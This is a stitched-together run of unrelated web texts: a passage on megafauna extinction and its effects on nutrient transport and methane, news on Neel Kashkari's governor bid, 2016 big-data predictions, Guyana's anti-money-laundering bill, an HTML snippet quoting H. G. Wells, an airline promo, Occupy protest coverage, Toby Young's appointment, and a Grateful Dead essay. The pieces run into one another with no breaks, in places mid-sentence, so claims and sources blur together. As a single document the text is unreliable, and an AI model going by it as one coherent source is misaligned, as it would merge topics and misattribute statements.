A number of other mass extinctions occurred earlier in Earth's geologic history, in which some or all of the megafauna of the time also died out. Famously, in the Cretaceous–Paleogene extinction event the non-avian dinosaurs and most other giant reptilians were eliminated. However, the earlier mass extinctions were more global and not so selective for megafauna; i.e., many species of other types, including plants, marine invertebrates[68] and plankton, went extinct as well. Thus, the earlier events must have been caused by more generalized types of disturbances to the biosphere.
Consequences of depletion of megafauna [ edit ]
Effect on nutrient transport [ edit ]
Megafauna play a significant role in the lateral transport of mineral nutrients in an ecosystem, tending to translocate them from areas of high to those of lower abundance. They do so by their movement between the time they consume the nutrient and the time they release it through elimination (or, to a much lesser extent, through decomposition after death).[69] In South America's Amazon Basin, it is estimated that such lateral diffusion was reduced over 98% following the megafaunal extinctions that occurred roughly 12,500 years ago.[70][71] Given that phosphorus availability is thought to limit productivity in much of the region, the decrease in its transport from the western part of the basin and from floodplains (both of which derive their supply from the uplift of the Andes) to other areas is thought to have significantly impacted the region's ecology, and the effects may not yet have reached their limits.[71]
Effect on methane emissions [ edit ]
Large populations of megaherbivores have the potential to contribute greatly to the atmospheric concentration of methane, which is an important greenhouse gas. Modern ruminant herbivores produce methane as a byproduct of foregut fermentation in digestion, and release it through belching or flatulence. Today, around 20% of annual methane emissions come from livestock methane release. In the Mesozoic, it has been estimated that sauropods could have emitted 520 million tons of methane to the atmosphere annually,[72] contributing to the warmer climate of the time (up to 10 °C warmer than at present).[72][73] This large emission follows from the enormous estimated biomass of sauropods, and because methane production of individual herbivores is believed to be almost proportional to their mass.[72]
Recent studies have indicated that the extinction of megafaunal herbivores may have caused a reduction in atmospheric methane. This hypothesis is relatively new.[74] One study examined the methane emissions from the bison that occupied the Great Plains of North America before contact with European settlers. The study estimated that the removal of the bison caused a decrease of as much as 2.2 million tons per year.[75] Another study examined the change in the methane concentration in the atmosphere at the end of the Pleistocene epoch after the extinction of megafauna in the Americas. After early humans migrated to the Americas about 13,000 BP, their hunting and other associated ecological impacts led to the extinction of many megafaunal species there. Calculations suggest that this extinction decreased methane production by about 9.6 million tons per year. This suggests that the absence of megafaunal methane emissions may have contributed to the abrupt climatic cooling at the onset of the Younger Dryas.[74] The decrease in atmospheric methane that occurred at that time, as recorded in ice cores, was 2-4 times more rapid than any other decrease in the last half million years, suggesting that an unusual mechanism was at work.[74]
Examples [ edit ]
The following are some notable examples of animals often considered as megafauna (in the sense of the "large animal" definition). This list is not intended to be exhaustive:
Gallery [ edit ]
Extinct [ edit ]
Living [ edit ]
See also [ edit ]
Notes [ edit ]
^ Aepyornis had larger eggs than nearly all dinosaurs.[25][26] Nonavian dinosaur size was not similarly constrained because they had a different relationship between body mass and egg size than birds. The 400 kghad larger eggs than nearly all dinosaurs. ^ [41] Analysis indicates that 35 genera of North American mammals went extinct more or less simultaneously in this event. ^ Perspective makes the fish appear larger relative to the man standing behind it (another example of a megafaunal species) than it actually is.Neel Kashkari, the former Treasury official who administered the federal government's TARP program, looks up during a meeting at the Committee for a Responsible Federal Budget Annual Conference in Washington, June 14, 2011. REUTERS/Kevin Lamarque Neel Kashkari, who oversaw the government's bank bailout at the height of the financial crisis, will attempt to succeed Jerry Brown as Governor of California in 2014, Bloomberg's James Nash &Michael B. Marois report, citing a Kashkari rep.
We'd previously reported that Kashkari was considering running for something. Now we know what it is.
Appointed by Henry Paulson to oversee the Troubled Asset Relief Program (TARP) in 2008, Kashkari hopes to resume Republican leadership of Sacramento after Brown, a Democrat, took over in 2010. The state has only had four Democratic administrations in the past 40 years. Brown has represented two of them.
Kashkari left Treasury in December 2009 to become an exec at Bill Gross' giant PIMCO investment fund. He stepped down in January of this year to begin assembling a team to run, Bloomberg says. So far he's signed up campaign advisers who have worked with both Mitt Romney and John McCain, and has met with nearly 700 potential donors from around the country.
Nash and Marois add some details about Kashkari's life since a recent divorce:
"Kashkari lives in a rented three-bedroom home in Laguna Beach overlooking a cove by the Pacific Ocean. Neighbors in the Orange County town said they've seen him walking his two Newfoundland dogs, Winslow and Newsome, but know little else about him. His home, built in 1920, was assessed this year at $245,120, according to property records. He owns two cars, a 2014 Jeep Grand Cherokee and a 2002 Chevy Tahoe."
Brown has not officially announced he's running for reelection, but his approval rating is the highest since he took office. He's credited with turning around the state's finances — having, for instance, passed a major tax increase while cutting spending. Although he is 75, Brown told the FT in April that he has, "...no intention of walking off the stage here, now that I'm on it."
Click here to read the full story on Bloomberg »Predicting the future is never an easy task. But as 2015 winds down, we can’t help but look forward to what the new year will bring.
Will you finally be able to buy a self-driving car? Will machines become smarter than man? And what, will happen to the world of data science?
We’re no fortune tellers, so we rounded up a bunch of experts to ask them what they thought. And here (in no particular order), is what they said:
What is going to be the biggest data trend of 2016?
“2016 will be exciting for Big Data – Big Data will go even more mainstream. 2016 will also be the year when companies without solid big data strategies will start to fall behind. In terms of technology, I see particular growth in real-time data analytics and increasing use of machine-learning algorithms.”
– Bernard Marr, Big Data Guru and Bestselling Author
“In 2016, the world of big data will focus more on smart data, regardless of size. Smart data are wide data (high variety), not necessarily deep data (high volume). Data are “smart” when they consist of feature-rich content and context (time, location, associations, links, interdependencies, etc.) that enable intelligent and even autonomous data-driven processes, discoveries, decisions, and applications.”
– Kirk Borne, Principal Data Scientist at Booze Allen Hamilton and founder of RocketDataScience.org
“In 2015 we learned that 90% of the world’s data had been created in the previous 12 months. In the middle of this BigData explosion, I watched many executives desperate to get themselves up-to-speed as quickly as possible, in order to understand the commercial opportunities that these vast quantities of information will offer their business.
In 2016 – I hope to see those same executives not just looking towards how they can capture as much commercial value from that information as possible, but how they can create the best experiences for their customers. The bigdata motto for 2016 therefore needs to be “We must create more value from data than we capture.”
– Jeremy Waite, Head of Digital Strategy at EMEA Salesforce Marketing Cloud
“2016 will be the year of deep learning. Data will move from experimental to deployed technology in image recognition, language understanding, and exceed human performance in many areas.”
– Gregory Piatetsky, President of KDNuggets
“I would say Data science for the masses is one and the other is more disruption with open source technologies to the point that no one knows what Hadoop means anymore, and more projects we never heard of trying to flatten the time to data science.”
– Paul Zikopoulos, VP of Analytics at IBM
“[In the last decade] an ecosystem of tools, services, and companies have been built to address these digital problems. This is by no means meant to downplay those contributions. A decade later, and we built some amazing technology and products. These are, for the most part, solved problems. What remains unsolved are data problems in the real, physical, world.
The next decade of the big data industry will be about solving these problems. Borrowing what we know about building highly available, scalable, smart systems, and inventing new systems for analyzing streams of data emitted when analog actions and decisions occur.
This is both a natural progression of the industry, but also a fundamental shift in the kinds of technologies, people, and companies that will constitute the next generation of the data industry.”
– Drew Conway, CEO and Founder of Alluvium
“I think Big Data is ripe for consolidation in 2016. However, I see consolidation playing out differently in this space. Rather than one analytics firm taking over another, I see analytics being added into all sorts of enterprise software, from threat detection to marketing automation. The consolidation will happen horizontally in a variety of platforms, and some Big Data startups could well get absorbed by an incumbent in whatever vertical it is that they are disrupting.”
– Jeff Vance, Journalist for Wired, Forbes and Startup50
“Next year, the mantra “It depends” will become the accepted answer to all questions about how to share/viz/chart your data. Accepting the spectrum of audiences, purposes, and datasets will become the norm. Bar charts, pie charts and even wearable art will be accepted as valid ways to visualise data, as long as the creator has delivered something appropriate to the objective and the audience.”
•inspired by my latest column on ComputerWorld: Living With Data
– Andy Cotgreave, Technical Evangelist at Tableau
“Open Data finally starts to get much better. It’s no longer enough to publish a data dump of info and expect the public to sift through it. From company transparency reports to government spending to crime stats, in 2016 we’ll rapidly move beyond crude data-dump Open Data to more sophisticated efforts that let the public actually use Open Data without requiring semi-advanced analytical or code skills.”
– Alex Salkever, writer for RWW and Head of Marketing at Silk
“I believe the main data trend of 2016 will be rise of the data savvy professional. Every organisational department (marketing, finance, HR. etc) is increasingly getting access and ownership over its own data. This democratization of data creates the requirement for all professionals in every team to have basic data science skills.
Consequently, and in addition to hiring full time data scientists, organisations will be looking for employees that can be part of such a data driven culture. These professionals do not need to have the level of competence of a real data scientist, but they will be required to handle and analyse their own data up to a certain level, and to ask the right questions.
These professionals will need to be data savvy! Since few already have this ability companies like DataCamp have taken the lead at getting the needed skills to professionals without interrupting their careers, and to turn them into data savvy professionals.”
– Martijn Theuwissen, Co-founder of DataCamp
“Several jump to mind but the one that sticks out is the surge in new apps that use strong encryption to secure mobile messaging, voice, video and file exchange, for businesses as well as individuals. Not many people have noticed this yet but they will. Doubtless, governments will be unhappy but there is no stopping this one. Businesses in particular no longer trust open communication so we’re heading for a world in which it will all be encrypted.”
– John Dunn, Editor for Computerworld UK and Techworld
“The use of personal-identifiable data is becoming a growing concern for consumers, a focus for regulators, and a battleground for consumer trust. Companies that proactively respect and protect consumer data are going to be the winners. Privacy will become the killer app for 2016.”
– Tim Barker, CEO of DataSift
“Artificial intelligence for mobile phones (your phone being able to figure out what you are doing and predict what you are going to do next).”
– Andrea Cox, Open Data Institute
“Next year businesses will look at deriving value from ALL data. It’s not just the Internet of Things but rather Internet of Anything that can provide insights. Getting value from data extends beyond devices, sensors and machines and includes ALL data — including that produced by server logs, geo location and data from the Internet.”
– Scott Gnau, CTO at Hortonworks
“In 2016 I’m looking to fund those businesses that make possible to create APIs, turn web into data, all those difficult problems that constitutes the plumbing of the Internet, will be the like the Levi’s of the net”
– Thomas Korte, Founder of AngelPad
“Enabling users to see a broad range of factors contributing to their business is becoming more important than ever. With the ability to combine both internal and external data sources, users now have access to more context around their data, which ultimately leads to more insights and better decisions. Adding socio demographic or location data to analysis easily and quickly can help organisations de-risk some of their management choices.”
– James Richardson, Business Analytics Strategist at Qlik
“Machine learning will reduce the insight killer — time. Machine learning will replace manual data wrangling and data governance dirty work. The freeing up of time will accelerate data strategies.”
– Brian Hopkins, VP and Principal Strategest at Forrester Research
“As with every industry, disruptive forces—security, sustainability, speed and costs—are driving change in the way data centers are architected, constructed and operated. This should continue throughout 2016 as the ability to deliver applications and content to users while collecting and analyzing data becomes more critical to business success.”
– Steve Hassell, President of Data Center Solutions at Emerson Network Power
“The use of masses of data as an indicator of success will turn to the quality of the data being collected. This will mean that the variety for each company is likely to decrease, but the specific data that will be collected will become far more efficient, useful and plentiful. As companies realize that most of what they collect isn’t being used and just taking up storage space, this will become more apparent and the use of this data will come under increased scrutiny.”
– Chris Towers, Head of Big Data Innovation at Innovation Enterprise
“In 2016 it will be all about what actions you will derive from the data you have access to. Bring in the algorithms. Algorithms define action and they are very specific pieces of software that are very good at a very specific action, much better than humans can do. Think for example of quickly determining the right advertisement based on your profile when you visit a website or finding an outlier in vast amounts of transaction data to determine fraud.”
– Mark van Rijmenam, Bestselling Author and Founder of Datafloq
“Because big data needs a lot of processing power, many organisations will make use of cloud-based, big-data-as-a-service offerings, so they can get the full value of their information, without the associated capital expenditure.”
– Stuart Mills, Regional Sales Director at CenturyLink
“2016 will see an expansion of big data analytics with tools that make it possible for business users to perform comprehensive self-service exploration with big data when they need it, without major hand holding from IT.”
– Ulrick Pedersen, COO of Targit
Did they get it right? Only time will tell!
Give us your best prediction for 2016 in the comments below.
[contentblock id=6 img=gcb.png]Anti Money Laundering Bill passed
The Anti-Money Laundering and Countering the Financing of Terrorism (AML/CFT) (Amendment) Bill of 2015 was passed in a tranquil environment yesterday in the National Assembly.
Bringing the Bill before the Members of Parliament was Attorney General and Minister of Legal Affairs, Basil Williams.
The crucial Bill went through all its stages and was passed in the absence of the opposition. The opposition had walked out. They were to walk out again when the government presented the Local Government Amendment Bill.
The Attorney General said that Clause two of the anti-money laundering Bill seeks to amend section 2(1) of the Anti-Money Laundering and Countering the Financing of Terrorism Act, Cap. 10:11, so as to redefine the term ‘beneficial ownership’. Clause three of the Bill, he said, seeks to amend section 15(4) (c) of the Act to require a reporting entity to identify and verify the identity of a customer when establishing a business relationship.
He asserted that Clause Four of the Bill seeks to amend section 68A (6) to reduce the period from not later than seven days to not later than five days for the Director of Public Prosecutions to apply for a freezing order. He said that the amendment also provides that an application for a freezing order may be made ex parte to a Judge in Chambers.
The said amendment, Williams noted, also seeks to insert into section 68A a new subsection (6A) to provide that a Judge when granting the freezing order, the standard of proof required shall be on the balance of probabilities.
The Minister of Legal Affairs went on to state that Clause Four also seeks to insert a new subsection (6B) that requires the Director of Public Prosecutions to immediately serve on the reporting entity a copy of the freezing order. Meanwhile, Clause Six of the Bill seeks to amend section 71(1) of the Principal Act to enable the Director of Public Prosecutions to make an ex parte application to the High Court for a freezing order.
Amendments in the form of Clause Seven of the Bill changed the Second Schedule of the Principal Act to make it clear that gold smuggling is a serious offence under the second schedule. The Minister also stated that other crucial changes to the Bill provided for a Schedule to the Act with amendments to section 47A of the Securities Industry Act, Cap. 73:04, Section 7A of the Co-operative Societies Act, Cap. 88:01 and 23A of the Insurance Act, Cap. 91:02.
These modifications, he said, will substitute the sections mentioned above, with the existing provisions and the appropriate factors that must be utilized for evaluation by the respective supervisory authorities.
Williams said that these provisions determine whether any applicant together with any partner, shareholder and director, beneficial owner of a significant or controlling interest or office holder of the applicant, is fit and proper for registration.
Additionally, the Minister of Legal Affairs said that the fit and proper criteria are to be utilized for evaluation by a supervisory authority where there is a change of ownership, management or control of the company.
Apart from the aforementioned changes, Williams said that the Bill was one with which the opposition was very familiar. The Opposition yesterday lobbied for the Government to withdraw its motion to read and vote on the Bill as it believed that such a crucial legislation requires careful scrutiny and the involvement of key stakeholders.
The Attorney General contended, however, that in his view enough consultation had taken place and it was high time that Guyana gets in line with international best practices which seek to protect the nation against money laundering threats.<div class="wrapper"> <main> <article> <h1>Content</h1> <p>“But it’s something more than a meteorite. It’s a cylinder — an artificial cylinder, man! And there’s something inside.”</p><p>Henderson stood up with his spade in his hand.</p> <p>“What’s that?” he said. He was deaf in one ear.</p> <p>Ogilvy told him all that he had seen. Henderson was a minute or so taking it in. Then he dropped his spade, snatched up his jacket, and came out into the road. The two men hurried back at once to the common, and found the cylinder still lying in the same position. But now the sounds inside had ceased, and a thin circle of bright metal showed between the top and the body of the cylinder. Air was either entering or escaping at the rim with a thin, sizzling sound.</p> <p>— H. G. Wells, <cite>The War of the Worlds</cite></p> </article> <aside> <h1>Sidebar</h1> <p>They listened, rapped on the scaly burnt metal with a stick, and, meeting with no response, they both concluded the man or men inside must be insensible or dead.</p> <p>Of course the two were quite unable to do anything. They shouted consolation and promises, and went off back to the town again to get help. One can imagine them, covered with sand, excited and disordered, running up the little street in the bright sunlight just as the shop folks were taking down their shutters and people were opening their bedroom windows. Henderson went into the railway station at once, in order to telegraph the news to London. The newspaper articles had prepared men’s minds for the reception of the idea.</p> <p>I found a little crowd of perhaps twenty people surrounding the huge hole in which the cylinder lay. I have already described the appearance of that colossal bulk, embedded in the ground. The turf and gravel about it seemed charred as if by a sudden explosion. No doubt its impact had caused a flash of fire. Henderson and Ogilvy were not there. I think they perceived that nothing was to be done for the present, and had gone away to breakfast at Henderson’s house.</p> <p>There were four or five boys sitting on the edge of the Pit, with their feet dangling, and amusing themselves — until I stopped them — by throwing stones at the giant mass. After I had spoken to them about it, they began playing at “touch” in and out of the group of bystanders.</p> <p>— H. G. Wells, <cite>The War of the Worlds</cite></p> </aside> </main> </div>
!Prepare for takeoff!
British Airways will soon be connecting two major tech communities. Mashable is partnering with British Airways to help celebrate their newest route from San Jose and London.
On May 5, we're inviting Silicon Valley to an event with food, drinks and an exclusive flight simulator experience giving guests an opportunity to "pilot" a Boeing 787-9 Dreamliner. At downtown San Jose's GlassHouse, Samsung virtual reality headsets, provided by partner Flow-IFE, will also be on hand so guests can explore all four aircraft cabins without ever leaving the ground. You can check out a sneak peek here.
If that isn't enough, Flixel will be creating personal cinemagraphs, giving the Silicon Valley crowd a bird's eye view of London. Space is limited, so make sure to RSVP today. We can't wait to see you there!Media playback is unsupported on your device Media caption The demonstrations were against austerity and what protesters called corporate greed
Police in New York have arrested about 70 people, as Occupy Wall Street protesters moved to Times Square.
Forty-five were detained in the square, with another 24 held for alleged trespassing at a branch of Citibank near Washington Square Park.
The protests came on a day of worldwide protests against austerity and what protesters call corporate greed.
At least 70 people were injured after a peaceful rally in the Italian capital Rome descended into street battles.
Prime Minister Silvio Berlusconi called the violence a "worrying signal" and said the perpetrators "must be found and punished".
Rome Mayor Gianni Alemanno blamed the violence on "a few thousand thugs from all over Italy, and possibly from all over Europe, who infiltrated the demonstration".
Series of rallies
Organisers of the New York march from Zuccotti Park in Lower Manhattan to Times Square said about 5,000 people took part.
Image caption Police made 45 arrests in Times Square
Protesters chanted: "We got sold out, banks got bailed out" and "All day, all week, occupy Wall Street."
One woman was injured when she fell as police on horseback tried to clear protesters from Times Square.
Staff at Citibank near Washington Square Park called police because "very disruptive" protesters "refused to leave after being repeatedly asked," the bank said.
"The police asked the branch staff to close the branch until the protesters could be removed."
There were also protests in a number of other US cities, including 5,000 people who rallied outside City Hall in Los Angeles and 2,000 who marched in Pittsburgh.
The New York protests began on 17 September with a small group of activists and have swelled to include several thousand people at times, from many walks of life.
Festive
Media playback is unsupported on your device Media caption Italian journalist Francesco Cirillo at the San Giovanni Piazza said a number of police vehicles had been burned
The Rome protests began when tens of thousands of people gathered under anti-austerity banners, close to the ruins of the Colosseum.
However, militants dressed in black, some of them wearing balaclavas and crash helmets, soon appeared in the crowd and began attacking property.
Cars were burnt, and cash dispensers, banks and shops were attacked, with windows smashed.
A huge rally in Madrid had a more festive atmosphere.
Tens of thousands of people filled the Puerta del Sol Square on Saturday evening, the BBC's Sarah Rainsford reports from the Spanish capital.
People of all ages, from pensioners to children, and many of the young unemployed, filled the square, where the "Indignant" movement was launched in May.
In Portugal, 20,000 marched in Lisbon and a similar number in Oporto.
In Greece, about 2,000 people rallied outside parliament in Athens and a similar number reportedly turned out in the second city, Thessaloniki.
At least 1,000 people demonstrated in London's financial district but were prevented by police from reaching the Stock Exchange, and five arrests were made.
About 500 protesters spent the night camped outside St Paul's cathedral
Protests were also held in a number of cities across Asia.Tory journalist and co-founder of West London Free School vows to be ‘non-partisan’ as director of government-funded charity
Toby Young to take over as head of New Schools Network
Toby Young, the controversial journalist turned educationalist, has been appointed as the head of a government-funded charity to promote free schools in England.
Young will take over as director of the New Schools Network (NSN) in January, to run the charity backed by the Department for Education to lobby for more of the schools to be opened and assist with the application process.
The former Conservative parliamentary hopeful and associate editor of the Spectator quickly moved to reassure free school supporters that his role would not be politically motivated.
“My own political views are right-of-centre. But in my capacity as director of NSN, I will be non-partisan,” Young said in an email to the network’s members.
“That’s not just because I want NSN to continue working with a broad range of groups and organisation. It’s also because I want free schools to remain a central part of England’s public education system and that is most likely to happen if they command as much political support as possible.
The free market works, but not when it comes to schools | Simon Jenkins Read more
“NSN has already done some fantastic work in this regard, winning over sceptics on all sides, and that is something I hope to continue,” he said.
Young’s appointment was attacked by the shadow education secretary, Angela Rayner, as a PR gimmick.
“Free schools are failing all over the country, at a soaring cost to the taxpayer. Mr Young’s appointment is a PR gimmick to try and put some much needed gloss over their abysmal performance,” she said.
“The government should focus on addressing the real problems facing education and junk this ideological obsession with free schools, which are no answer to the real problems facing education in our country.”
Toby Young: The education secretary’s ‘enormous powers’ could come back to haunt Tories Read more
The NSN’s previous director was Nick Timothy, in a brief stint between his posts as special adviser to Theresa May at the Home Office and his current role as May’s joint chief of staff in Downing Street.
The NSN was founded by Rachel Wolf in 2009, who later became David Cameron’s adviser on education in the No 10 policy unit. Her successor, Natalie Evans, left after being appointed a Conservative peer in the House of Lords by Cameron.
Toby Young (@toadmeister) Delighted to announce that I'll be the new Director of @theNSN from 1st Jan. It's a fantastic charity that helps groups set up free schools.
The appointment of the high-profile media figure is designed to give a shot in the arm to the free school movement, which has been increasingly co-opted by large chains of schools rather than the local community groups originally envisaged by the former education secretary, Michael Gove, and Cameron.
David Ross, the NSN’s chair of trustees, said: “We were most excited by [Young’s] ambitious ideas for building on NSN’s existing efforts to get schools, teachers, charities and community organisations involved in setting up schools where they can make a difference to their communities.”
There are about 500 free schools open or being planned. Recent waves of approvals by the DfE have seen free school openings dominated by existing academy chains – in September a single multi-academy trust, Reach2, was approved to open 21 new free schools.
Young was an early supporter of the free schools policy backed by Gove, and founded one of the first in the country to open: the West London free school, in 2011. It was followed by a primary school in 2013, which has been rated as outstanding by Ofsted.
Michael Gove's free schools to teach etiquette and fine dining Read more
West London free school pupils performed well in the school’s first set of GCSE results this summer, with 76% of the first cohort to sit the exams getting at least five grades of C or better, including English and maths.
Young hit the headlines this summer |
Presence we need a different explanatory paradigm: What intentions does it harbor? Contact is precarious and transitory. The gravity of the opening rivals black holes and returns everything to where it began. Bobby testifies but his tone has changed, wrathful like a prophet scorned, forlorn like the traveler from an antique land who saw a ruined statue and deduced the shelf life of glory.
Note the cyclic nature of the song. Or is it? Which type of Time is coming? There will be different meanings and interpretations if the messenger presupposes the A Theory, B Theory or Heap. Look closer. Patterns emerge and vanish, icebergs of data drifting in an ocean of static. Some people break codes. Some codes break people. The line is slight and you won’t know you’ve crossed it. Others might.
I have no intention of listing best versions. I remain unimpressed by their objectivity. I remain unimpressed by Objectivity. What conditions could we ask this song to meet? We can only try to describe what we’ve seen. Heraclitus said no man ever listens to the same Estimated Prophet twice, for it is not the same song and he is not the same man. This bespeaks nothing of subjectivity, only the insufficiency of our concepts and measurements. Just as consensus does not entail truth, a lack of it does not mean there is no truth. Writing about the Grateful Dead’s “finest song” is an unlikely pursuit for a relativist.
5-10-78 astounds. Acquire Dicks Picks 25 for this alone. Angelic moments from Donna and the absolute perfection of everything else. Note the soaring disarray instantaneously contained like an eruption reversing itself as Weir returns to testify. Note the song that so often follows, as if in theological clarification.
VIP VSV (very slow version) on 5-19-77, filled with chunky reggae goodness. Seriously consider the acquisition of Dick’s Picks 29. This is how Celibidache would have conducted the Dead. (Allusions like that keep my book sales safely under 1,000,000.)
“Driving, page-turning force” Publishers Weekly
Listen to the crowd on audience recordings. The only barrier separating Then from Now is a distance finite and definite, measurable by the hands of a clock, each minute connected to the next like a series of steps leading inexorably between two towns. Yet that time could just as well be Atlantis. And you’re visiting. They were living their lives like you are now, that time just as real to them. What became of it? How can something so vivid and tangible become the dream of a shadow? Maybe this moment will be different. They tell you to seize the day but they never say how. Does Home Depot have special gloves?
The Rocks so Red on 7-8-78, and not only the rocks. It coagulates from simple elements and crystallizes into a temple. Everything that consists of parts is less fundamental than the parts of which it consists. Plotinus said. This EP might be a non-contingent composite.
Estimated was less a work in progress than a species evolving, shifting its shape via random mutations or cryptic teleology. It’s vaguely Dark Star-ish in this respect, only more structured, a fragile haiku splitting its seems.
You would not believe me. You will now: 11-13-87. Weir’s vocals will bring out the True Believer in you. This is a level of testification unheard of in the 70s. The song became a Tasmanian Devil. We already knew it was a chameleon.
Is there an alchemist in the house? How does 12-31-91 coalesce such discrepancies, lumbering through verses alien and dysphoric, then igniting a celebratory chorus? (Check the date again. Yes Virginia, there was great Dead music in the 90s.) Estimated is all about the Bridge where the prophet declaims, “Shining on the beach, the sea will part before me. Then you will follow me, and we will rise to glory.” This one is special. He’s telling you the truth. There is no derangement in his voice. He’s convinced but not zealous, as many are inclined to interpret these lyrics, which you should not.
2-26-79 was two years to the day since the first appearance and a full solar eclipse. Coincidence? Please. Symphonic pulses of energy appear from the dusky brim of existence. Dick’s Picks 5 warms their chilling glow, perhaps too much. Soundboards can have an antiseptic studio vibe. The Dead were in fine company by preferring the magic of Now to the studio. Sergiu Celibidache felt their pain:
Celibidache’s focus was instead on creating, during each concert, the optimal conditions for what he called a “transcendent experience”. … He believed that musical experiences were extremely unlikely to ensue when listening to recorded music, so he eschewed them. As a result, some of his concerts did provide audiences with exceptional and sometimes life-altering experiences.
Not that there’s anything wrong with the studio. This version has its charms. (Don’t look at me like that. Consistency is the hobgoblin of small minds.) Why this never became a commercial hit is best explained by Divine intervention. What if they’d had a Touch of Grey experience in 77? Estimated had the potential. It’s “catchy.” I heard it on the radio once. Seriously, once.
The Valley of jewels, Alpine. The obscurity and magnificence of 6-26-87 set two. 89’s run is not superior to the prior years by some order of magnitude, if at all. 86 Estimated and Tom Thumb’s deserve attention. In 85 Healy mixed in a strange choir during the bridge. O to peak in the Valley.
Dear Deer Creek, I’d trade all my tomorrows to see a single run again. (This offer does not include 95 and is not valid in New Jersey and Alaska.) The Prophet from 6-6-91 approaches like some shambling traveler on the road, a refugee from sights beyond your horizons. He walks with you and tells you things as if each is a performative utterance like let there be light. Then he wanders off, his empathy disarming. He’s concerned about your state of mind, about you worrying about him, as if afraid what impact his company will have. You’ll soon find out. 92’s Estimated shook the hills with cosmic grandeur. It comes together from discrete elements in the way Democritus believed the universe was assembled from atoms swirling aimlessly in the void. Hear Smokestack Lightning. Say a prayer for a soul in torment. One of the best shows I saw.
Eyes of the Prophet. Was there a more perfect pairing than Estimated –> Eyes of the World? There were some fine contenders. Jerry said, “… the rhythmic relationship is very ‘off.’ So I can find a pulse in there that’ll be just a perfect tempo for ‘Eyes of the World’ regardless of what tempo ‘Estimated Prophet’ was at, and that makes it interesting for me ’cause it’s wide open.” Great article.
The Prophet came to Kansas 6-24-91. I remember looking forward to this show, the logistics and preparations and drive there and my stunned incomprehension at our proximity to the stage and how blown away I was during Estimated Prophet. And now I’m looking back from a great distance, through a shimmering haze like it was someone else who saw it, someone I couldn’t identify in a lineup, as if the thread of identity connecting us to former selves is an article of faith.
“Whereof one cannot speak, he should remain silent.” Too bad. We need to discuss 8-12-79 (released on the So Many Roads box). The casual delivery sounds more like a buddy sharing enthusiasms than a messenger of day-glow doom. But then the Jam jams, persisting and escalating with mellow dignity and the enthusiasms appear in a different light, cold and austere.
Whereof one cannot speak … shhhhhh!
Some call them trance versions. Understandably. Here’s one. The long and winding Jam on 5-28-77 stands as a paradigm of Great Trippy Dead Music. To Terrapin is not recommended; it’s essential. Deja vu and nostalgia arise, even though the passage of music is unique, as though it partakes of some deeper commonality only glimpsed in flashes. There it is. To describe Garcia’s guitar in the latter half raises baffling issues about the Private Language Argument. Should I rethink my statement that Estimated improved with time? Nor did Everest.
Purple People, seated under the purple lights in the Phil Zone like surfers of an eruption, we envy you on 12-31-80, the first Estimated of 81 and last of 80, the metaphysical glue of their connection. Focus on Phil during the Jam until some Helen Keller awakening shatters the shell of your mind and reveals to the stunned hatching within a world beyond all wonder. The intrinsic peculiarity of the song is never covered by the gray blanket of familiarity wrapping most things. It’s as different and mysterious and off-the-wall and triumphant and creepy as the first time you heard it.
Also hear Greatest Story Ever Told this night. In a parallel universe I’m writing about their most underrated song, how it’s strictures forced them to be more creative with face-melting jams, how its koan-like verses threw breakers upstairs, how the walls weren’t the only thing to cave in. This song is Zen. Favorite version. And this. Hopefully Hugh Everett was right about parallel universes being decoherent from each other. A compilation of shows where Estimated and GSET were played is underway. Strange patterns appear, ensnaring one.
You mean this was a jazz tune all along? It put reggae camouflage on to confuse us. 9-22-93 has David Murray, blistering and visionary. Remember the sax on Dark Side? There’s more than a contact buzz from that vibe here. Garcia’s MIDI jams sound like meandering androids provoked, ending in Zappa-worthy strangeness. Then there’s Dark Star.
Speaking of great Jams you missed. This is from Weir’s house in 75. Prepare yourself. Wear headphones. You’re welcome. Buy my books. All funds are donated to the Chandelier Press Institute of Estimated Prophet Studies. They have been graciously sponsoring my research. I’m composing my thoughts for a synoptic survey of these versions.
What’s the Greatest Jam of All Time if You Must Pick One? The China-Riders of 73 & 74 merged via the Feelin’ Groovy Jam. Consider this one. Enjoy your Peak Experience. My first impulse, like yours, is to list something from 68, but this discarded segue from 73 will change your life.
This sweeping cloak of sound …
As though the musicians were not nearly so much playing the little phrase as performing the rites on which it insisted before it would consent to appear, and proceeding to utter the incantations necessary to procure, and to prolong for a few moments, the miracle of its apparition, Swann, who was no more able to see it than if it had belonged to a world of ultra-violet light, and who experienced something like the refreshing sense of a metamorphosis in the momentary blindness with which he was struck as he approached it, Swann felt its presence like that of a protective goddess, a confidante of his love, who, in order to be able to come to him through the crowd and to draw him aside to speak to him, had disguised herself in this sweeping cloak of sound. And as she passed, light, soothing, murmurous as the perfume of a flower, telling him what she had to say, every word of which he closely scanned, regretful to see them fly away so fast, he made involuntarily with his lips the motion of kissing, as it went by him, the harmonious, fleeting form. Marcel Proust
What happened when you saw this live? Some events never recede on the horizon of Time. Dismissing them as the past is wishful thinking. That they occurred before other things is a trivial property, incidental and irrelevant to the sovereignty they wield over your life.
Not a Pepto Strat
A ragged garage band is miraculously possessed during the Jam on 9-8-83 Red Rocks, then returns to its original form. Hear the template on Red Rocks 78.
The Jam on 11-23-79 decelerates and diminishes like some great craft landing.
That head-bangin’ energy of the early 80s on 8-12-81 and 9-17-82. (The latter show has the first Throwing Stones.) 11-26-80 is beyond praise. (Also check out GSET. Deliverance from the jam is tectonic like the finale of Mahler’s Third.)
Spooktacular 10-29-80 at Radio City Music Hall (13:50) removes all flesh from the bone.
Lacking common features with the rest of the created order, 4-8-78 can only be approached through the via negativa, if at all. Wear sunglasses.
Petronius Jablonski saw about 100 shows between 1985 and 1995. He regrets it wasn’t more. Favorites include:
Alpine 6-21-85, 6-26-87, 6-23-88, 7-18-89, and on 9-15-89 Weir & Wasserman opened for JGB with Clarence Clemons.
Rosemont Horizon 4-11-89
Deer Creek 6-28-92, 7-20-94
Riverfront Arena 4-8-89. The vibe of this tour astounds (including both Milwaukee shows) more so than Spring 1990.
10-20-88 at the Houston Summit and you’ll have to take it on faith. Other than a poor tape of set II, “Nothing beside remains. Round the decay Of that colossal wreck, boundless and bare, the lone and level sands stretch far away.” The premier of Built To Last quaked the foundations, tragic and grand like some repentant Stagger Lee.
The Sandstone Amphitheater shows in 91.
The first Reuben and Cherise on 6-9-91. Buckeye Lake joined Alpine and Deer Creek as The Best places to see the band. Those afternoons spent watching festivals which could be mistaken for outtakes of the Satyricon or Frazer’s Golden Bough, they seemed permanent at the time, as if intrinsic to summer itself. What became of them? Pleasures do not accumulate, anymore than what you ate yesterday fends off hunger today. “The eye is not satisfied with seeing, nor the ear filled with hearing.”
